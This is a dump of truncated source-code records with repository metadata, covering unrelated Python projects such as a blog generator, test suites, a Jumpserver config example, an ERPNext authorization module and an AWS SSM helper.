] | null | null | null | src/blogpost.py | cdeck3r/instablog | 7c621d2b0454672474eb667f39ff1861beaaee73 | [
"MIT"
] | 1 | 2019-09-11T16:27:34.000Z | 2019-09-11T16:27:34.000Z | src/blogpost.py | cdeck3r/instablog | 7c621d2b0454672474eb667f39ff1861beaaee73 | [
"MIT"
] | null | null | null | # generic, util
import click
import logging
from pathlib import Path
import random
# website download and parsing
import json
import requests
from bs4 import BeautifulSoup
from lxml.html.soupparser import fromstring
# reading and writing files
import sys
import csv
import os
import pandas as pd
def load_post_info(p... | 32.962617 | 110 | 0.617876 |
90fae895bfd2c9ef96214c5af1c585e9bcac2137 | 932 | py | Python | Packs/MalwareInvestigationAndResponse/Scripts/InvestigationDetailedSummaryToTable/InvestigationDetailedSummaryToTable_test.py | jrauen/content | 81a92be1cbb053a5f26a6f325eff3afc0ca840e0 | [
"MIT"
] | null | null | null | Packs/MalwareInvestigationAndResponse/Scripts/InvestigationDetailedSummaryToTable/InvestigationDetailedSummaryToTable_test.py | jrauen/content | 81a92be1cbb053a5f26a6f325eff3afc0ca840e0 | [
"MIT"
] | 40 | 2022-03-03T07:34:00.000Z | 2022-03-31T07:38:35.000Z | Packs/MalwareInvestigationAndResponse/Scripts/InvestigationDetailedSummaryToTable/InvestigationDetailedSummaryToTable_test.py | jrauen/content | 81a92be1cbb053a5f26a6f325eff3afc0ca840e0 | [
"MIT"
] | null | null | null | import json
from pathlib import Path
from InvestigationDetailedSummaryToTable import table_command
TEST_DATA_DIR = Path(__file__).parent / 'test_data'
def _dump_test_file(file_name: str, content: dict | list):
(TEST_DATA_DIR / file_name).write_text(json.dumps(content))
def _load_test_file(file_name: str):
... | 28.242424 | 87 | 0.689914 |
468fe8c12f6ac475491b7b10bb35fb105774357c | 12,048 | py | Python | source/generator.py | marctrommen/bloggenerator | 5b4fed4cd12a899829261d492328dfc39a78153d | [
"MIT"
] | null | null | null | source/generator.py | marctrommen/bloggenerator | 5b4fed4cd12a899829261d492328dfc39a78153d | [
"MIT"
] | null | null | null | source/generator.py | marctrommen/bloggenerator | 5b4fed4cd12a899829261d492328dfc39a78153d | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import shutil
import datetime
import locale
import markdown
import pprint
import cloudsync
import templatehandler
import commentparser
import blogpostgenerator
import listpagegenerator
import simplelistpagegenerator
import simplepagegenerator
DATE_PARSE_FORMA... | 30.424242 | 106 | 0.760126 |
d3b4a83d1287a4b48742839b7e9bdd00c9242ced | 6,597 | py | Python | Passport.py | NETMVAS/feecc-agent-geoscan | 93fc5766a4a2f588aaa173779bb6bd0928682e58 | [
"Apache-2.0"
] | 1 | 2021-05-13T09:03:51.000Z | 2021-05-13T09:03:51.000Z | Passport.py | arseniiarsenii/robonomics_qa_geoscan | 93fc5766a4a2f588aaa173779bb6bd0928682e58 | [
"Apache-2.0"
] | null | null | null | Passport.py | arseniiarsenii/robonomics_qa_geoscan | 93fc5766a4a2f588aaa173779bb6bd0928682e58 | [
"Apache-2.0"
] | 1 | 2021-05-24T15:45:01.000Z | 2021-05-24T15:45:01.000Z | import logging
import typing as tp
import uuid
import csv
import yaml
import hashlib
from datetime import datetime as dt
import os
import modules.send_to_ipfs as ipfs
# set up logging
logging.basicConfig(
level=logging.INFO,
filename="agent.log",
format="%(asctime)s %(levelname)s: %(message)s"
)
class Pa... | 37.271186 | 116 | 0.619524 |
b42cf300b34dd68b4b0202b4111f419c0f0e81f6 | 707 | py | Python | 02_string/f-string.py | wuyueCreator/python-test | 6072ac9264a257c89925469238c14fff3bda5630 | [
"MIT"
] | 1 | 2019-03-25T03:44:54.000Z | 2019-03-25T03:44:54.000Z | 02_string/f-string.py | wuyueCreator/python-test | 6072ac9264a257c89925469238c14fff3bda5630 | [
"MIT"
] | null | null | null | 02_string/f-string.py | wuyueCreator/python-test | 6072ac9264a257c89925469238c14fff3bda5630 | [
"MIT"
] | null | null | null | import time
birth = 1994
age = time.localtime().tm_year - birth
print(f'I born in {birth}, and I\'m {age} years old.')
import time
class Date:
def __init__(self, **kwargs):
if kwargs:
for key, value in kwargs.items():
if key in ['year', 'month', 'day']:
... | 20.2 | 65 | 0.558699 |
c366728a78b26294d608eebc7dcbfff116163f0e | 4,420 | py | Python | test/test_npu/test_network_ops/test_conv3d_backward.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-12-02T03:07:35.000Z | 2021-12-02T03:07:35.000Z | test/test_npu/test_network_ops/test_conv3d_backward.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-11-12T07:23:03.000Z | 2021-11-12T08:28:13.000Z | test/test_npu/test_network_ops/test_conv3d_backward.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2020, Huawei Technologies.All rights reserved.
#
# Licensed under the BSD 3-Clause License (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://opensource.org/licenses/BSD-3-Clause
#
# Unless required by applicable law... | 50.227273 | 142 | 0.628054 |
6f51c1603eb0eb5774d14b010022e7a2a25d0419 | 2,055 | py | Python | lib/gfDatabase.py | lhalb/gfmanager | 449f071b3239faa672b7f06122dfc9bc23e68d79 | [
"MIT"
] | 1 | 2022-01-18T12:53:17.000Z | 2022-01-18T12:53:17.000Z | lib/gfDatabase.py | lhalb/gfmanager | 449f071b3239faa672b7f06122dfc9bc23e68d79 | [
"MIT"
] | null | null | null | lib/gfDatabase.py | lhalb/gfmanager | 449f071b3239faa672b7f06122dfc9bc23e68d79 | [
"MIT"
] | null | null | null | class DataBase:
def __init__(self):
self.df = None
self.path = None
self.outpath = None
self.col_dict = {
'Integer identifying grain': 'n',
'Average orientation (phi1, PHI, phi2) in degrees': 'ori-d',
'Average orientation (phi1, PHI, phi2) in radia... | 37.363636 | 113 | 0.580049 |
5b22f216a7c885c41933273342d6f7dd30cec17f | 359 | py | Python | source/pkgsrc/inputmethod/mozc-server/patches/patch-build__tools_mozc__version.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-11-20T22:46:39.000Z | 2021-11-20T22:46:39.000Z | source/pkgsrc/inputmethod/mozc-server/patches/patch-build__tools_mozc__version.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | source/pkgsrc/inputmethod/mozc-server/patches/patch-build__tools_mozc__version.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | $NetBSD: patch-build__tools_mozc__version.py,v 1.4 2021/02/15 14:50:23 ryoon Exp $
* NetBSD support
--- build_tools/mozc_version.py.orig 2021-02-15 03:48:53.000000000 +0000
+++ build_tools/mozc_version.py
@@ -69,6 +69,7 @@ TARGET_PLATFORM_TO_DIGIT = {
'iOS': '6',
'iOS_sim': '6',
'Wasm': '7',
+ 'NetB... | 23.933333 | 82 | 0.640669 |
960671cd8a5b28f938b0fcbccd86d55fee5e7f9b | 459 | py | Python | dmx/_dmx_output.py | ihrigb/stagebuzzer | dbce1c5fa59a6f22e74d84ccc96d4d1a28a5b680 | [
"Apache-2.0"
] | null | null | null | dmx/_dmx_output.py | ihrigb/stagebuzzer | dbce1c5fa59a6f22e74d84ccc96d4d1a28a5b680 | [
"Apache-2.0"
] | null | null | null | dmx/_dmx_output.py | ihrigb/stagebuzzer | dbce1c5fa59a6f22e74d84ccc96d4d1a28a5b680 | [
"Apache-2.0"
] | null | null | null | from ._open_dmx_usb import OpenDmxUsb
class DmxOutput:
def __init__(self):
self._dmx = OpenDmxUsb()
self._dmx.start()
self._channels = [0] * 513
def set(self, channel: int, value: int):
self._channels[channel] = value
def reset(self, channel: int):
self.set(chann... | 20.863636 | 52 | 0.610022 |
82c5d9265b71749d7e9f81de846511559078cf5b | 497 | py | Python | Curso_Python/Secao4-Python-introducao-a-programacao-orientada-a-objetos-POO/101_composicao/main.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso_Python/Secao4-Python-introducao-a-programacao-orientada-a-objetos-POO/101_composicao/main.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso_Python/Secao4-Python-introducao-a-programacao-orientada-a-objetos-POO/101_composicao/main.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | from classes import Cliente
# cliente1 = Cliente('Pedro', 23)
# cliente1.insere_endereco('Belo Horizonte', 'MG')
# print(cliente1.nome)
# cliente1.lista()
# del cliente1
# print()
# cliente2 = Cliente('Maria', 55)
# cliente2.insere_endereco('Belo Salvador', 'BA')
# cliente2.insere_endereco('Rio de Janeiro', 'RJ')
# p... | 19.88 | 50 | 0.700201 |
7d5e80b8f23a1577e44661e423564eacc2d0a357 | 9,897 | py | Python | frappe-bench/apps/erpnext/erpnext/setup/doctype/authorization_control/authorization_control.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/setup/doctype/authorization_control/authorization_control.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/setup/doctype/authorization_control/authorization_control.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | # Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
from frappe.utils import cstr, flt, has_common, comma_or
from frappe import session, _
from erpnext.utilities.transaction_base import Tran... | 43.407895 | 123 | 0.6796 |
f209ee261bb0be3106f1ea6491e36b91705110c2 | 4,434 | py | Python | jumpserver-dev/config_example.py | smthkissinger/docker-images | 35e868295d04fa780325ada4168381f1e80e8fe4 | [
"BSD-3-Clause"
] | 63 | 2018-02-04T03:31:22.000Z | 2022-03-07T08:27:39.000Z | jumpserver-dev/config_example.py | smthkissinger/docker-images | 35e868295d04fa780325ada4168381f1e80e8fe4 | [
"BSD-3-Clause"
] | 3 | 2020-06-15T03:41:03.000Z | 2020-06-15T03:41:04.000Z | jumpserver-dev/config_example.py | smthkissinger/docker-images | 35e868295d04fa780325ada4168381f1e80e8fe4 | [
"BSD-3-Clause"
] | 40 | 2018-01-22T16:31:16.000Z | 2022-03-08T04:40:42.000Z | """
jumpserver.config
~~~~~~~~~~~~~~~~~
Jumpserver project setting file
:copyright: (c) 2014-2016 by Jumpserver Team.
:license: GPL v2, see LICENSE for more details.
"""
import os
import ldap
from django_auth_ldap.config import LDAPSearch
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
LOG_... | 29.171053 | 111 | 0.660352 |
48581f30e4d05ac37aaced4bf0274b970f667e87 | 357 | py | Python | src/built_in_functions/getattr_function.py | HuangHuaBingZiGe/GitHub-Demo | f3710f73b0828ef500343932d46c61d3b1e04ba9 | [
"Apache-2.0"
] | null | null | null | src/built_in_functions/getattr_function.py | HuangHuaBingZiGe/GitHub-Demo | f3710f73b0828ef500343932d46c61d3b1e04ba9 | [
"Apache-2.0"
] | null | null | null | src/built_in_functions/getattr_function.py | HuangHuaBingZiGe/GitHub-Demo | f3710f73b0828ef500343932d46c61d3b1e04ba9 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
print("------------------------------------------------")
st = 'bingzi'
# getattr 方法,传入参数是对象和该对象的函数或者属性的名字,返回对象的函数或者属性实例
print("字符串的doc属性:")
print(getattr(st, '__doc__'))
print("------------------------------------------------")
print("字符串的encode方法:")
print(getattr(st, 'encod... | 25.5 | 57 | 0.495798 |
6fd051076118caa4c28f96186b23dae65c2aae6a | 129 | py | Python | WD/Przyklady/Cw3/piosenka.py | galursa/UWM | b7ab4a275662764a91af6c5bc79da0d98177d0ac | [
"MIT"
] | 1 | 2020-02-29T14:38:33.000Z | 2020-02-29T14:38:33.000Z | WD/Przyklady/Cw3/teksty/piosenka.py | galursa/UWM | b7ab4a275662764a91af6c5bc79da0d98177d0ac | [
"MIT"
] | null | null | null | WD/Przyklady/Cw3/teksty/piosenka.py | galursa/UWM | b7ab4a275662764a91af6c5bc79da0d98177d0ac | [
"MIT"
] | null | null | null | #piosenka.py
def spiew():
print("La la la la la")
def zespoly():
print("Boysband")
print("Girl'n'dance")
| 12.9 | 28 | 0.550388 |
8384e0c7711777fb24016de86863e396e5eab9fc | 8,872 | py | Python | daemon/quality_check_daemon.py | nikhil/RAS | 1ed1f70872b700bb422128a537ab4ddb4fbeb97f | [
"MIT"
] | null | null | null | daemon/quality_check_daemon.py | nikhil/RAS | 1ed1f70872b700bb422128a537ab4ddb4fbeb97f | [
"MIT"
] | null | null | null | daemon/quality_check_daemon.py | nikhil/RAS | 1ed1f70872b700bb422128a537ab4ddb4fbeb97f | [
"MIT"
] | null | null | null | from daemon import Daemon
import sys
import time
import os
from pymongo import MongoClient
from bs4 import BeautifulSoup
import sendgrid
from sendgrid.helpers.mail import *
import shutil
import requests
import zipfile
import ftplib
import subprocess
import filelock
import yaml
project_dir = os.getcwd()[:-7]
web_mutex ... | 38.077253 | 192 | 0.690712 |
8398ab47070e00dd40de63bb1861afac7f8b33e3 | 1,452 | py | Python | saku/account/serializers.py | Mehdi-MosTafavi/Saku-Backend | 348a1a676ffc8ddd9077f8c94733c5f6dce98fbd | [
"MIT"
] | null | null | null | saku/account/serializers.py | Mehdi-MosTafavi/Saku-Backend | 348a1a676ffc8ddd9077f8c94733c5f6dce98fbd | [
"MIT"
] | null | null | null | saku/account/serializers.py | Mehdi-MosTafavi/Saku-Backend | 348a1a676ffc8ddd9077f8c94733c5f6dce98fbd | [
"MIT"
] | null | null | null | from rest_framework import serializers
from django.contrib.auth.models import User
class RegisterSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = ["username", "password"]
extra_kwargs = {
"password": {"write_only": True, "min_length": 8},
}
... | 32.266667 | 83 | 0.682507 |
8602ec6ec67fcbb2a3dd8eb6bb6d81385172099c | 990 | py | Python | begin-python/cp15/chapter15.py | Jocs/reading-notes | 26b8331877a2de034b8860bc3e3967893112d52d | [
"MIT"
] | 3 | 2021-08-04T07:59:48.000Z | 2022-03-26T23:58:17.000Z | begin-python/cp15/chapter15.py | Jocs/reading-notes | 26b8331877a2de034b8860bc3e3967893112d52d | [
"MIT"
] | null | null | null | begin-python/cp15/chapter15.py | Jocs/reading-notes | 26b8331877a2de034b8860bc3e3967893112d52d | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding:utf8 -*-
# ##Python 和 Web
# ### 15.1 屏幕抓取
# 使用正则表达式抓取网页内容
from urllib import urlopen
import re
p = re.compile('<a.*?href="(.*?)".*?>(.*?)</a>')
text = urlopen('https://liulanmi.com/').read()
for url, title in p.findall(text):
print '%s (%s)' % (title, url)
# 使用 HTMLParser
from HT... | 18.333333 | 53 | 0.619192 |
790478398a39a0505d83b637eb44b9874a909f47 | 445 | py | Python | Crashkurs Python/03_if.py | slogslog/Coding-Kurzgeschichten | 9b08237038147c6c348d4cf4c69567178e07dd1d | [
"Unlicense"
] | 2 | 2020-03-23T14:57:50.000Z | 2021-03-24T18:12:07.000Z | Crashkurs Python/03_if.py | slogslog/Coding-Kurzgeschichten | 9b08237038147c6c348d4cf4c69567178e07dd1d | [
"Unlicense"
] | null | null | null | Crashkurs Python/03_if.py | slogslog/Coding-Kurzgeschichten | 9b08237038147c6c348d4cf4c69567178e07dd1d | [
"Unlicense"
] | null | null | null | # if funktioniert (fast) wie in allen anderen Sprachen
# - Einrückungen ersetzen { } Gilt für Python generell!
# - Es gibt ein elif statt einem else if
weight = 50 # kg
height = 190 # cm
bmi = weight / (height/100)**2
# bmi < 18.5 : Untergewicht
# bmi > 25 : Übergewicht
# sonst : Normalgewicht
if bmi < 18.5... | 22.25 | 55 | 0.653933 |
5418ef520574bac18ef5149097b2d76c3df53c2e | 617 | py | Python | python/coding_dojang/judge_regular_expression.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/coding_dojang/judge_regular_expression.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/coding_dojang/judge_regular_expression.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | import re
p = re.compile('^(http(s)?://)?[\w\-]+\.[\w\-]+[\w\-_.?=/&#:]+$')
urls = [
'https://www.example.com',
'http://www.example.com',
'www.example.com',
'example.com',
'http://blog.example.com',
'http://www.example.com/product',
'http://www.example.com/products?id=1&page=2',
'http:... | 25.708333 | 95 | 0.552674 |
542686d7021343f32e5d2c22e03bd03a1fa30e75 | 10,578 | py | Python | python/sxlListener.py | nussbrot/code-exchange | 3427798c4391e5f9c17cd19399ac56997c091ee2 | [
"MIT"
] | null | null | null | python/sxlListener.py | nussbrot/code-exchange | 3427798c4391e5f9c17cd19399ac56997c091ee2 | [
"MIT"
] | null | null | null | python/sxlListener.py | nussbrot/code-exchange | 3427798c4391e5f9c17cd19399ac56997c091ee2 | [
"MIT"
] | null | null | null | # Generated from sxl.g4 by ANTLR 4.7
from antlr4 import *
if __name__ is not None and "." in __name__:
from .sxlParser import sxlParser
else:
from sxlParser import sxlParser
# This class defines a complete listener for a parse tree produced by sxlParser.
class sxlListener(ParseTreeListener):
# Enter a par... | 29.220994 | 80 | 0.709491 |
49ea4ddac06fb0b9831f691bbfea390a0ae89b31 | 4,175 | py | Python | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/icx/test_icx_banner.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/icx/test_icx_banner.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/icx/test_icx_banner.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | # Copyright: (c) 2019, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from ansible_collections.community.general.tests.unit.compat.mock import patch
from ansible_collecti... | 43.041237 | 131 | 0.669701 |
3f9bb5f98452137383ea9fcde3ba958a3e1c8157 | 47 | py | Python | home-assistant/custom_components/kkm/__init__.py | Adamvg/SmartHouse | 740b010260f6f6b38a19e2a75d431446abd54253 | [
"MIT"
] | 136 | 2019-06-27T08:11:47.000Z | 2022-03-11T12:26:53.000Z | home-assistant/custom_components/kkm/__init__.py | Venkysgithu/SmartHouse | d4e42dbbbb1f535f1684d507de411a4421b92e4d | [
"MIT"
] | 5 | 2020-05-30T00:19:22.000Z | 2022-03-25T18:49:47.000Z | home-assistant/custom_components/kkm/__init__.py | Venkysgithu/SmartHouse | d4e42dbbbb1f535f1684d507de411a4421b92e4d | [
"MIT"
] | 63 | 2019-07-15T21:11:58.000Z | 2022-03-13T09:43:24.000Z |
"""Bus card Tracker."""
__version__ = '1.0.0' | 11.75 | 23 | 0.595745 |
3ffba15d4590363ae3cb1d633f3c93c09dcb25ca | 1,402 | py | Python | my-cs/intern/py_details/io_helper.py | zaqwes8811/cs-courses | aa9cf5ad109c9cfcacaadc11bf2defb2188ddce2 | [
"Apache-2.0"
] | null | null | null | my-cs/intern/py_details/io_helper.py | zaqwes8811/cs-courses | aa9cf5ad109c9cfcacaadc11bf2defb2188ddce2 | [
"Apache-2.0"
] | null | null | null | my-cs/intern/py_details/io_helper.py | zaqwes8811/cs-courses | aa9cf5ad109c9cfcacaadc11bf2defb2188ddce2 | [
"Apache-2.0"
] | null | null | null | """
Representation graphs:
http://www.geeksforgeeks.org/graph-and-its-representations/
Adjacency Matrix - VxV
Adjacency List - V + E
Incidence List
http://www.algorithmist.com/index.php/Graph_data_structures
http://www.quora.com/Which-graph-representation-is-better-for-competitive-program... | 20.925373 | 131 | 0.577033 |
b779049ce8d6c7332527674ffe81c4cb354b784c | 1,726 | py | Python | Packs/Phishing/Scripts/CheckEmailAuthenticity/CheckEmailAuthenticity_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/Phishing/Scripts/CheckEmailAuthenticity/CheckEmailAuthenticity_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/Phishing/Scripts/CheckEmailAuthenticity/CheckEmailAuthenticity_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | from CheckEmailAuthenticity import main
import demistomock as demisto
MOCK_HEADERS = [
{
'name': 'Message-ID',
'value': 'test_message_id'
},
{
'name': 'received-spf',
'value': 'Pass (test.com: domain of test.com designates 8.8.8.8 as permitted sender)'
'rece... | 35.22449 | 112 | 0.628621 |
b7d5ebda6386c6cb664f43fd172c38f3291cd26e | 265 | py | Python | test_data.py | ottermegazord/nmt-graph | 7e2f73cd617fe262d984eb05f2157f7aebac8982 | [
"MIT"
] | null | null | null | test_data.py | ottermegazord/nmt-graph | 7e2f73cd617fe262d984eb05f2157f7aebac8982 | [
"MIT"
] | null | null | null | test_data.py | ottermegazord/nmt-graph | 7e2f73cd617fe262d984eb05f2157f7aebac8982 | [
"MIT"
] | null | null | null | from .util import *
data = "MATCH (c:crop {name: 'Carissa macrocarpa'})-[:HAS]->(ecology)MATCH (ecology)-[:GROWS_IN]->(optimal)MATCH (optimal)-[:CONSIST_OF]->(temperature:temperature_required_optimal)RETURN temperature.min, temperature.max;"
tokens = load_vocab() | 53 | 221 | 0.743396 |
4d4df1ae518d27e8874939cd7007f67a7c17b1ce | 880 | py | Python | lambdas/sdd-api-db/sdd-api-db-get-locations/lambda_function.py | cfleschhut/virushack | 2fe7ded0be8672b066edef7fed52573794db2ba5 | [
"Apache-2.0"
] | null | null | null | lambdas/sdd-api-db/sdd-api-db-get-locations/lambda_function.py | cfleschhut/virushack | 2fe7ded0be8672b066edef7fed52573794db2ba5 | [
"Apache-2.0"
] | null | null | null | lambdas/sdd-api-db/sdd-api-db-get-locations/lambda_function.py | cfleschhut/virushack | 2fe7ded0be8672b066edef7fed52573794db2ba5 | [
"Apache-2.0"
] | null | null | null | """ This Script retrieves data from db and delivers spacial data for dashboard requests."""
import json
import pandas as pd
from datetime import datetime, timedelta
import re
import pymysql
from sqlalchemy import create_engine
from sqlalchemy.pool import NullPool
config = json.load(open("credentials-aws-db.json", "r... | 24.444444 | 91 | 0.685227 |
4d8fabbb814fd2c31ae027df405151b5fd6bfafd | 129 | py | Python | benwaonline/tags/__init__.py | goosechooser/benwaonline | e2879412aa6c3c230d25cd60072445165517b6b6 | [
"MIT"
] | null | null | null | benwaonline/tags/__init__.py | goosechooser/benwaonline | e2879412aa6c3c230d25cd60072445165517b6b6 | [
"MIT"
] | 16 | 2017-09-13T10:21:40.000Z | 2020-06-01T04:32:22.000Z | benwaonline/tags/__init__.py | goosechooser/benwaonline | e2879412aa6c3c230d25cd60072445165517b6b6 | [
"MIT"
] | null | null | null | from flask import Blueprint
tags = Blueprint('tags', __name__, template_folder='templates')
from benwaonline.tags import views
| 21.5 | 63 | 0.79845 |
42863718bfa5e0eab4428654df8371070fd52fbd | 2,384 | py | Python | mongodb/mongodb_consistent_backup/official/mongodb_consistent_backup/Pipeline/Task.py | smthkissinger/docker-images | 35e868295d04fa780325ada4168381f1e80e8fe4 | [
"BSD-3-Clause"
] | 282 | 2016-06-16T14:41:44.000Z | 2022-03-02T03:43:02.000Z | mongodb/mongodb_consistent_backup/official/mongodb_consistent_backup/Pipeline/Task.py | smthkissinger/docker-images | 35e868295d04fa780325ada4168381f1e80e8fe4 | [
"BSD-3-Clause"
] | 146 | 2016-06-16T08:55:45.000Z | 2020-09-08T10:37:32.000Z | mongodb/mongodb_consistent_backup/official/mongodb_consistent_backup/Pipeline/Task.py | smthkissinger/docker-images | 35e868295d04fa780325ada4168381f1e80e8fe4 | [
"BSD-3-Clause"
] | 94 | 2016-06-16T10:49:07.000Z | 2022-03-28T09:14:03.000Z | import logging
from multiprocessing import cpu_count
from signal import signal, SIGINT, SIGTERM, SIG_IGN
from mongodb_consistent_backup.Common import parse_method
from mongodb_consistent_backup.Errors import Error
class Task(object):
def __init__(self, task_name, manager, config, timer, base_dir, backup_dir, **... | 36.121212 | 105 | 0.640101 |
c420c02098b60e596955d296cd4dad86a6f3f20f | 1,329 | py | Python | system/transfer.py | billalxcode/ATM-cli | 68e295b1e3c152ee5c35913af84d72468cab06e0 | [
"MIT"
] | null | null | null | system/transfer.py | billalxcode/ATM-cli | 68e295b1e3c152ee5c35913af84d72468cab06e0 | [
"MIT"
] | null | null | null | system/transfer.py | billalxcode/ATM-cli | 68e295b1e3c152ee5c35913af84d72468cab06e0 | [
"MIT"
] | null | null | null | from .database import Database
class Transfer:
def __init__(self) -> None:
self.connection = Database("database/database.db")
self.connection.connect()
def isValidCard(self, card):
getcard = self.connection.get("card_number", "card", f"card_number={card}")
if int(len(getcard)) ... | 42.870968 | 96 | 0.568849 |
c455b9286dd49b08b214a044aae4d0a9f8d6273c | 6,656 | py | Python | tests/test_arg_parser.py | kkaruso/niv | 67ba82c93279db4dae503d4dceec7ba5e9931c0a | [
"MIT"
] | null | null | null | tests/test_arg_parser.py | kkaruso/niv | 67ba82c93279db4dae503d4dceec7ba5e9931c0a | [
"MIT"
] | null | null | null | tests/test_arg_parser.py | kkaruso/niv | 67ba82c93279db4dae503d4dceec7ba5e9931c0a | [
"MIT"
] | null | null | null | """
Includes all tests for arg_parser
"""
import argparse
import os
import shutil
from unittest import TestCase
from src.yaml_parser import yaml_parser
from src.arg_parser.arg_parser import ArgParser
class TestArgParser(TestCase):
"""
A class for testing functions of ArgParser class
"""
test_director... | 34.487047 | 116 | 0.586088 |
67119818288b86b14c15efb43aedc9fdc5a18422 | 934 | py | Python | PythonTest/draw_text.py | yuduki24/RubyTest | 006233df69eca3eb5676984b51e57cd34d8dcf87 | [
"MIT"
] | null | null | null | PythonTest/draw_text.py | yuduki24/RubyTest | 006233df69eca3eb5676984b51e57cd34d8dcf87 | [
"MIT"
] | 1 | 2017-11-03T06:59:55.000Z | 2017-11-04T02:10:14.000Z | PythonTest/draw_text.py | yuduki24/RubyTest | 006233df69eca3eb5676984b51e57cd34d8dcf87 | [
"MIT"
] | null | null | null | import pygame
from pygame.locals import *
import sys
SCREEN_SIZE = (640, 480)
pygame.init()
screen = pygame.display.set_mode(SCREEN_SIZE)
pygame.display.set_caption("Hello, pygame world!!!!!")
# フォントの作成.
sysfont = pygame.font.SysFont(None, 80)
sysfont.set_bold(True)
sysfont.set_italic(True)
sysfont.s... | 24.578947 | 76 | 0.633833 |
c0397b73e2dc90db5903136942c590367f1d40cf | 4,001 | py | Python | justCTF/2021/pwn/PainterHell/web/tf/views.py | mystickev/ctf-archives | 89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e | [
"MIT"
] | 1 | 2021-11-02T20:53:58.000Z | 2021-11-02T20:53:58.000Z | justCTF/2021/pwn/PainterHell/web/tf/views.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | justCTF/2021/pwn/PainterHell/web/tf/views.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | 1 | 2021-12-19T11:06:24.000Z | 2021-12-19T11:06:24.000Z | import os
import hashlib
import random
import time
import re
from pathlib import Path
from django.http import HttpResponse
from django.conf import settings
from django.views.generic import View
from django.views.generic.base import TemplateResponseMixin
from ipware.ip import get_ip
from utils import steam
TF2_TEMP_D... | 35.723214 | 115 | 0.585604 |
220930e7b9ea17f0adbd7373bf8c2503ff2c3c3b | 2,670 | py | Python | build/automation/bin/texas-ssm-connect.py | nhsd-exeter/make-devops | 6b3f50e3bee40482f62529f3a915bd241c326e2f | [
"MIT"
] | 5 | 2020-10-03T09:31:46.000Z | 2022-03-04T10:29:53.000Z | build/automation/bin/texas-ssm-connect.py | nhsd-exeter/make-devops | 6b3f50e3bee40482f62529f3a915bd241c326e2f | [
"MIT"
] | 34 | 2021-03-30T13:42:20.000Z | 2022-03-05T08:36:22.000Z | build/automation/bin/texas-ssm-connect.py | nhsd-exeter/make-devops | 6b3f50e3bee40482f62529f3a915bd241c326e2f | [
"MIT"
] | 2 | 2020-09-21T10:44:50.000Z | 2020-11-10T16:36:20.000Z | #!/usr/bin/env python3
import boto3
import os
import sys
from prettytable import PrettyTable
class SSMManager:
region = None
client = None
ssm_client = None
instances = None
session = None
def __init__(self, region):
self.region = region
self._connect()
def _connect(sel... | 28.105263 | 93 | 0.529588 |
